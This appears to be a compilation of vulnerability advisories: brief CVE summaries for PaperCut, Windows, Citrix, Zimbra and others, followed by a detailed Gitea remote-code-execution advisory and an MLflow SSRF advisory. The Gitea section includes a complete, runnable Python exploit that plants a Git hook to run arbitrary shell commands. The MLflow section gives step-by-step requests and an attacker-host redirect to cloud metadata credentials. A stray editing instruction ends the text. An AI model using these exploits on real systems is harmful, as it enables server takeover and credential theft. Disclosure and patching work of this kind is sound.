An improper access control vulnerability exists in the web management interface of PaperCut MF and PaperCut NG. Under specific conditions, unauthenticated remote requests targeting administrative functions can trigger backend actions prior to the completion of access validation checks. This allows an unauthenticated remote attacker to modify certain system configurations.

An unsafe dynamic class loading vulnerability exists in the database connection utilities of PaperCut MF and PaperCut NG. The application instantiates database driver classes based on configurable driver names without validating against an allowlist of approved drivers. If an attacker can manipulate system configuration parameters, this enables the execution of arbitrary Java bytecode residing on the application classpath under the security context of the PaperCut server process.

Improper link resolution before file access ('link following') in Windows Update Stack allows an authorized attacker to elevate privileges locally.

Heap-based buffer overflow in Windows ALPC allows an authorized attacker to elevate privileges locally.

Deserialization of untrusted data in Microsoft Entra ID allows an unauthorized attacker to execute code over a network.

Citrix NetScaler ADC and NetScaler Gateway contain an authentication-bypass vulnerability involving an alternate path or channel. When the NetScaler appliance is configured as an AAA virtual server or as a Gateway (SSL VPN, ICA Proxy, CVPN, or RDP Proxy), an unauthenticated remote threat actor may be able to bypass authentication.

Summary

Gitea's diffpatch endpoint can be abused to install and execute a Git hook from repository-controlled content.

An attacker with ordinary write access to a repository can execute arbitrary shell commands as the Gitea OS user. With default open registration, an unauthenticated visitor can obtain the required write access by registering an account and creating a repository.

Details

services/repository/files/patch.go applies attacker-controlled patches in a shared bare temporary clone:

go cmdApply := gitcmd.NewCommand("apply", "--index", "--recount", "--cached", "--binary") if git.DefaultFeatures().CheckVersionAtLeast("2.32") { cmdApply.AddArguments("-3") }

Submitting the same patch twice creates an add/add collision. Git's three-way fallback checks the indexed path out even though the operation is performed with --cached.

In a bare clone, the repository root is $GITDIR. As a result, an executable entry named:

text hooks/post-index-change

becomes a live Git hook.

Git invokes the hook while writing the index, allowing repository-controlled content to execute arbitrary commands as the Gitea service account.

The hook's return value is not propagated to the diffpatch response.

The attached PoC stores command output in Git objects and creates a branch containing the result, so no outbound connection is required. The result is fetched through authenticated smart HTTP.

PoC

The supplied giteadiffpatchrcepoc.py uses an existing Gitea account. Run it against a test instance where the account can create a repository.

Set the account password:

bash export GITEAPASSWORD='account-password'

Execute a command through the diffpatch chain:

bash python3 ./giteadiffpatchrcepoc.py \ https://gitea.example \ pocuser \ 'id; uname -srm; pwd'

The script:

Creates an initialized private repository. Submits the same executable-hook patch twice. Fetches the result branch. Prints the command's combined stdout, stderr, and exit status. Prints the evidence repository, ref, and commit IDs to stderr.

Expected output resembles:

text uid=1000(git) gid=1000(git) groups=1000(git) Linux ... /data/gitea/tmp/...

[exit-status=0]

The trigger requires:

Git 2.32 or newer. An enabled diffpatch route. A writable and executable temporary filesystem.

Open registration is required only for the no-prior-credentials attack path.

Impact

This is remote command execution as the Gitea service account (CWE-94).

Depending on deployment isolation and the privileges of the Gitea OS user, successful exploitation may expose:

app.ini and Gitea application secrets. Process environment secrets. Mounted repositories. Database credentials and database contents. OAuth and integration credentials. Other internal or externally reachable services.

With open registration enabled, the attack can be performed by an unauthenticated visitor after registering a normal account and creating a repository.

<img width="928" height="687" alt="Screenshot 2026-07-25 at 14 45 44" src="https://github.com/user-attachments/assets/e7ce9fe7-bcab-4539-82fc-14c3856bda1c" />

python #!/usr/bin/env python3 -- coding: utf-8 -- """ Gitea RCE PoC – authorized testing only. """

from future import annotations

import argparse import base64 import getpass import hashlib import json import os from pathlib import Path

import secrets import shlex import shutil import subprocess import sys import tempfile

from typing import Any import urllib.error import urllib.parse import urllib.request

TIMEOUT = 30.0 USERAGENT = "gitea-rce-poc/2.0"

RST = "\033[0m" DIM = "\033[2m" GRN = "\033[38;5;46m" # bright green RED = "\033[31m" # red for errors

def g(t: str) -> str: return f"{GRN}{t}{RST}" def r(t: str) -> str: return f"{RED}{t}{RST}" def d(t: str) -> str: return f"{DIM}{t}{RST}"

def logstar(msg: str) -> None: print(f"{g('[]')} {d(msg)}") def logok (msg: str) -> None: print(f"{g('[+]')} {g(msg)}") def logerr (msg: str) -> None: print(f"{r('[-]')} {r(msg)}")

SEP = " " + "═" 44 BANNER = f"{SEP}\n GITEA REMOTE CODE EXECUTION POC\n{SEP}"

def printbanner(url: str, version: str | None = None, command: str | None = None) -> None: print() for line in BANNER.splitlines(): print(g(line)) print() ver = version or "unknown" print(g(" " + "-" 54)) print(g(f" Target : {url}")) print(g(f" Version : {ver}")) if command: print(g(f" Command : {command}")) print(g(" " + "-" 54)) print()

class PocError(RuntimeError): pass

class GiteaClient: def init(self, baseurl: str, username: str, password: str) -> None: parsed = urllib.parse.urlsplit(baseurl) if parsed.scheme not in {"http", "https"} or not parsed.netloc: raise PocError("URL must be an absolute http:// or https:// URL") if parsed.query or parsed.fragment: raise PocError("URL must not contain a query string or fragment") self.baseurl = baseurl.rstrip("/") self.username = username self.password = password encoded = base64.b64encode( f"{username}:{password}".encode() ).decode("ascii") self.authorization = f"Basic {encoded}"

def api( self, method: str, path: str, payload: dict[str, Any] | None = None, ) -> tuple[int, Any]: data = None if payload is not None: data = json.dumps(payload, separators=(",", ":")).encode() req = urllib.request.Request( self.baseurl + path, data=data, method=method, headers={ "Accept": "application/json", "Authorization": self.authorization, "Content-Type": "application/json", "User-Agent": USERAGENT, }, ) try: with urllib.request.urlopen(req, timeout=TIMEOUT) as r: raw = r.read() return r.status, json.loads(raw) if raw else None except urllib.error.HTTPError as exc: body = exc.read().decode("utf-8", errors="replace")[:2000] raise PocError(f"{method} {path} → HTTP {exc.code}: {body}") from exc except urllib.error.URLError as exc: raise PocError(f"{method} {path} failed: {exc.reason}") from exc except json.JSONDecodeError: raise PocError(f"{method} {path} returned invalid JSON")

def bloboid(content: bytes) -> str: return hashlib.sha1( f"blob {len(content)}\0".encode("ascii") + content ).hexdigest()

def buildhook(command: str, leakref: str) -> bytes: qcmd = shlex.quote(command) qref = shlex.quote(f"refs/heads/{leakref}") return ( "#!/bin/sh\n" 'gitdir=$(git rev-parse --absolute-git-dir) || exit 1\n' 'originobjects=$(sed -n "1p" "$gitdir/objects/info/alternates") || exit 2\n' 'case "$originobjects" in\n' ' /) ;;\n' ' ) originobjects="$gitdir/objects/$originobjects" ;;\n' "esac\n" 'origingit=${originobjects%/objects}\n' '[ "$origingit" != "$originobjects" ] || exit 3\n' f"outputblob=$({{ /bin/sh -c {qcmd}; " 'commandstatus=$?; printf "\\n[exit-status=%s]\\n" "$commandstatus"; } 2>&1 | ' 'git --git-dir="$origingit" hash-object -w --stdin) || exit 4\n' 'tree=$(printf "100644 blob %s\\toutput\\n" "$outputblob" | ' 'git --git-dir="$origingit" mktree) || exit 5\n' 'commit=$(printf "command output\\n" | ' "GITAUTHORNAME=poc GITAUTHOREMAIL=poc@example.invalid " "GITCOMMITTERNAME=poc GITCOMMITTEREMAIL=poc@example.invalid " 'git --git-dir="$origingit" commit-tree "$tree") || exit 6\n' f'git --git-dir="$origingit" update-ref {qref} "$commit" || exit 7\n' "exit 0\n" ).encode()

def buildpatch(hook: bytes) -> str: lc = hook.count(b"\n") hdr = ( "diff --git a/hooks/post-index-change b/hooks/post-index-change\n" "new file mode 100755\n" f"index {'0'40}..{bloboid(hook)}\n" "--- /dev/null\n" "+++ b/hooks/post-index-change\n" f"@@ -0,0 +1,{lc} @@\n" ).encode() return (hdr + b"".join(b"+" + l for l in hook.splitlines(keepends=True))).decode()

def rungit(git: str, arguments: list[str], env: dict[str, str]) -> bytes: try: result = subprocess.run( [git, arguments], env=env, stdin=subprocess.DEVNULL, stdout=subprocess.PIPE, stderr=subprocess.PIPE, check=False, timeout=TIMEOUT, ) except subprocess.TimeoutExpired as exc: raise PocError(f"git timed out after {TIMEOUT:g}s") from exc except OSError as exc: raise PocError(f"could not run git: {exc}") from exc if result.returncode != 0: err = result.stderr.decode("utf-8", errors="replace")[:2000].strip() raise PocError(f"git exit {result.returncode}: {err}") return result.stdout

def fetchoutput(git: str, client: GiteaClient, owner: str, repo: str, leakref: str) -> bytes: remote = ( f"{client.baseurl}/" f"{urllib.parse.quote(owner, safe='')}/" f"{urllib.parse.quote(repo, safe='')}.git" ) with tempfile.TemporaryDirectory(prefix="gitea-poc-") as tmp: bare = Path(tmp) / "fetch.git" authcfg = Path(tmp) / "auth.config" fd = os.open(authcfg, os.OWRONLY | os.OCREAT | os.OEXCL, 0o600) with os.fdopen(fd, "w", encoding="utf-8") as f: f.write(f"[http]\n\textraHeader = Authorization: {client.authorization}\n") env = {os.environ, "GITTERMINALPROMPT": "0"} rungit(git, ["init", "--bare", "--quiet", str(bare)], env) rungit(git, [ "-C", str(bare), "-c", f"include.path={authcfg}", "fetch", "--quiet", "--no-tags", remote, f"refs/heads/{leakref}", ], env) return rungit(git, ["-C", str(bare), "show", "FETCHHEAD:output"], env)

def splitoutput(raw: bytes) -> tuple[str, int | None]: text = raw.decode("utf-8", errors="replace") lines = text.splitlines() status: int | None = None if lines: t = lines[-1].strip() if t.startswith("[exit-status=") and t.endswith("]"): try: status = int(t[len("[exit-status="):-1]) except ValueError: pass else: lines.pop() return "\n".join(lines).rstrip("\n"), status

def parseargs() -> argparse.Namespace: p = argparse.ArgumentParser(description="Gitea RCE PoC") p.addargument("url", help="Gitea base URL") p.addargument("username", help="existing Gitea username") p.addargument("command", help="shell command to execute on target") return p.parseargs()

def main() -> int: args = parseargs() if "\0" in args.command: raise PocError("command must not contain a NUL character")

password = os.environ.get("GITEAPASSWORD") or getpass.getpass( g("[?]") + " password: " ) if not password: raise PocError("password must not be empty")

git = shutil.which("git") if git is None: raise PocError("git executable not found in PATH")

client = GiteaClient(args.url, args.username, password)

# version probe (pre-banner) logstar("probing target...") version: str | None = None try: r = urllib.request.Request( client.baseurl + "/api/v1/version", headers={"Accept": "application/json", "User-Agent": USERAGENT}, ) with urllib.request.urlopen(r, timeout=TIMEOUT) as resp: version = json.loads(resp.read()).get("version", "unknown") except Exception: version = "unknown" printbanner(client.baseurl, version, args.command)

logstar(f"target={client.baseurl} user={args.username} cmd={args.command}") print()

# step 1 – authenticate logstar("authenticating...") sc, acct = client.api("GET", "/api/v1/user") if sc != 200 or not isinstance(acct, dict): logerr("authentication failed"); raise PocError("auth failed") owner = acct.get("login") if not isinstance(owner, str) or not owner: logerr("no login in response"); raise PocError("no login") logok(f"logged in as {owner} ({version})")

# step 2 – create repo unique = secrets.tokenhex(5) repo = f"test-repo-{unique}" leakref = f"output-{unique}" logstar("creating repository...") sc, = client.api("POST", "/api/v1/user/repos", { "name": repo, "private": True, "autoinit": True, "defaultbranch": "main", "objectformatname": "sha1", }) if sc != 201: logerr("repo creation failed"); raise PocError("repo creation failed") logok(f"created repo {owner}/{repo}")

# steps 3–4 – deliver payloads body = { "content": buildpatch(buildhook(args.command, leakref)), "message": "initial commit", "branch": "main", "newbranch": "main", } ep = ( f"/api/v1/repos/{urllib.parse.quote(owner, safe='')}/" f"{urllib.parse.quote(repo, safe='')}/diffpatch" ) commits: list[str] = [] for cycle in (1, 2): logstar(f"delivering payload {cycle}/2...") sc, resp = client.api("POST", ep, body) try: commit = resp["commit"]["sha"] except (KeyError, TypeError) as exc: logerr(f"payload {cycle}/2 rejected") raise PocError(f"cycle {cycle} no commit") from exc if sc != 201: logerr(f"payload {cycle}/2 failed") raise PocError(f"cycle {cycle} failed") commits.append(commit) logok(f"payload {cycle}/2 accepted commit={commit[:16]}")

# step 5 – retrieve output logstar("retrieving output...") output = fetchoutput(git, client, owner, repo, leakref) logok("operation complete")

# command output cmdout, exitstatus = splitoutput(output) print() logok(f"{args.command}:") print(g("---")) if cmdout: for line in cmdout.splitlines(): print(g(line)) else: print(d("<no output>")) print(g("---")) if exitstatus == 0: logok(f"exit status: {exitstatus}") elif exitstatus is None: logstar("exit status: unknown") else: logerr(f"exit status: {exitstatus}")

return 0

if name == "main": try: raise SystemExit(main()) except PocError as exc: logerr(str(exc)) raise SystemExit(1) from None

Chromium: CVE-2026-85046 Type confusion in V8

A remote code execution vulnerability exists in Zimbra Collaboration (ZCS) before 10.1.20 when the optional zimbra-snmp package is installed and SNMP notifications are enabled. Due to improper sanitization of untrusted input during SNMP notification processing, an unauthenticated attacker can send specially crafted SMTP requests that may result in execution of arbitrary operating system commands as the Zimbra user.

Summary The default MLflow Tracking Server (mlflow server, no authentication, default SQLite backend) exposes the model-registry webhooks API unauthenticated, including a synchronous POST /api/2.0/mlflow/webhooks/{id}/test endpoint that returns the upstream response status and body to the caller. The SSRF guard added in PR #20747 (validatewebhookurl, shipped in 3.10.0) resolves the webhook hostname and rejects non-public IPs, but it is bypassable: delivery follows HTTP redirects (no allowredirects=False) and never pins the validated IP. An attacker hosts a public HTTPS endpoint that passes the guard and returns 302 Location: http://169.254.169.254/... (or http://127.0.0.1:...); MLflow follows it and never re-validates the redirect target. Because /test reflects the response body, this is an unauthenticated full-read SSRF on a default server.

Details Three facts combine:

1. Webhook endpoints are unauthenticated on a default server. The only webhook authorization lives in the optional auth plugin (mlflow/server/auth/init.py, WEBHOOKBEFOREREQUESTHANDLERS), which is not loaded by default.

2. The guard validates but pins nothing — mlflow/utils/validation.py validatewebhookurl: python schemes = MLFLOWWEBHOOKALLOWEDSCHEMES.get() # default ["https"] if parsedurl.scheme not in schemes: raise ... if not MLFLOWWEBHOOKALLOWPRIVATEIPS.get(): # default False for addrinfo in socket.getaddrinfo(hostname, None): ip = ipaddress.ipaddress(addrinfo[4][0]) if not ip.isglobal: raise ... # blocks RFC1918/loopback/link-local/metadata The resolved IP is never carried into the connection.

3. Delivery follows redirects and re-resolves with no pinning — mlflow/webhooks/delivery.py: python def createwebhooksession(): adapter = HTTPAdapter(maxretries=retrystrategy) # retry only; no IP pinning ... def sendwebhookrequest(webhook, payload, event, session): validatewebhookurl(webhook.url) # re-validates the ORIGINAL url only return session.post(webhook.url, data=payloadbytes, headers=headers, timeout=timeout) # no allowredirects=False -> 302 followed; redirect Location never re-validated testwebhook returns responsestatus and responsebody to the caller. Bypass vectors:

Redirect-follow (reliable): attacker's allow-listed HTTPS host returns 302 to an internal/metadata URL; requests follows it. DNS rebinding (TOCTOU): getaddrinfo in the guard and the requests connect resolve independently with no pinning.

PoC All requests are unauthenticated, sent to the MLflow tracking server ({{TARGET}}). The SSRF fetch is performed by the MLflow server itself; the internal response is reflected back in the /test response. {{ATTACKER}} is a host the researcher controls that resolves to a public IP and serves HTTPS with a valid certificate, returning a 302 redirect to an internal target.

Attacker redirect server (on {{ATTACKER}}, valid TLS cert): nginx: location / { return 302 http://169.254.169.254/latest/meta-data/iam/security-credentials/; }

Step 0 — negative control (proves the guard is active; the naive internal URL is rejected):

POST /api/2.0/mlflow/webhooks HTTP/1.1 Host: {{TARGET}} Content-Type: application/json

{"name":"neg","url":"http://127.0.0.1:6379/","events":[{"entity":"REGISTEREDMODEL","action":"CREATED"}]}

-> 400 {"message":"Invalid webhook URL scheme: 'http'. Allowed schemes are: https."} (an https://127.0.0.1/ variant is likewise rejected as a non-public IP)

<img width="1154" height="437" alt="image" src="https://github.com/user-attachments/assets/509f3a14-8774-4785-b99a-864f0b448019" />

Step 1 — create a webhook pointing at the attacker's public HTTPS host (passes validatewebhookurl):

POST /api/2.0/mlflow/webhooks HTTP/1.1 Host: {{TARGET}} Content-Type: application/json

{"name":"poc","url":"https://{{ATTACKER}}/innocent","events":[{"entity":"REGISTEREDMODEL","action":"CREATED"}]}

-> 200 {"webhook":{"webhookid":"<WEBHOOKID>", ... ,"status":"ACTIVE"}}

<img width="1394" height="520" alt="image" src="https://github.com/user-attachments/assets/9004705f-67e1-486f-a905-1f744eb3636d" />

Step 2 — fire it via the unauthenticated /test endpoint; the internal response body is returned:

POST /api/2.0/mlflow/webhooks/<WEBHOOKID>/test HTTP/1.1 Host: {{TARGET}} Content-Type: application/json

{"webhookid":"<WEBHOOKID>","event":{"entity":"REGISTEREDMODEL","action":"CREATED"}}

-> 200 {"result":{"success":true,"responsestatus":200, "responsebody":"<contents of http://169.254.169.254/latest/meta-data/... fetched by the server>"}}

<img width="1399" height="453" alt="image" src="https://github.com/user-attachments/assets/1e5bb020-0855-4be8-a53b-e97daeabf1dc" />

Confirmed live against mlflow==3.13.0 (default sqlite server). With the attacker host redirecting to a local secret service, Step 2 returned: "responsebody":"INTERNALSECRET=mlflowssrfproof7f3a91\nrole=admin\n"

For convenience, the "my secret data" is saved in the same location.

<img width="730" height="208" alt="image" src="https://github.com/user-attachments/assets/680e1895-6d2e-4fd7-838f-c484561b6e5c" />

Notes: - Webhook events enum values must be UPPERCASE proto names (REGISTEREDMODEL, CREATED); lowercase maps to ENTITYUNSPECIFIED and 500s. - Default allowed scheme is https only; the first hop must be https, the redirect Location may be http. - Webhooks require a SQL store; the default mlflow server (sqlite:///mlflow.db) qualifies. No auth needed.

- Credit / independent discovery: Originally reported privately by @freeman-bb via this advisory on 2026-06-12. The same vulnerability was independently discovered through code review and reported publicly by @AUTHENSOR in issue #24179 on 2026-06-26. Fixed in PR #24258. Discovery priority belongs to @freeman-bb; @AUTHENSOR is credited as an independent finder.

Impact An unauthenticated attacker who can reach the tracking server makes the server issue HTTP requests to arbitrary internal/loopback/cloud-metadata endpoints and reads the responses via /test: cloud instance-metadata (e.g. AWS IMDS IAM credentials), internal-only admin services behind the network boundary, and internal port/host scanning. The event-driven delivery path gives the same SSRF blindly; /test makes it full-read. This is an incomplete fix of the PR #20747 guard, confirmed present on the latest release (3.13.0) and on master. Not a duplicate of CVE-2025-14279 (browser-side rebinding CSRF, CWE-352).

Fix

Fixed in https://github.com/mlflow/mlflow/pull/24258 (commit ba94952247), which adds connection-time SSRF protection (SSRFProtectedHTTPAdapter): the peer IP of each connected socket is validated against public-IP rules immediately after connect(), before any TLS/HTTP exchange. This covers the redirect targets as well (each redirect opens a new connection through the protected pool), closing both the 302-read and 307/308-write variants and the DNS-rebinding TOCTOU.

Redirect variants

The same missing re-validation enables two distinct primitives depending on the redirect status code:

- 302 (read): the redirect target is fetched with GET and, because POST /api/2.0/mlflow/webhooks/{id}/test reflects the upstream response body (WebhookTestResult.responsebody), the attacker reads arbitrary internal HTTP responses (cloud metadata, internal services). - 307 / 308 (blind write): these preserve the original POST method and body, so the attacker can POST attacker-controlled payloads into private-network management endpoints that act on POST (e.g. Docker daemon /stop, Elasticsearch /close, Spring Boot Actuator /shutdown).

Neither requires authentication on a default OSS server.

Then add a fix reference near the top or in a "Remediation" note: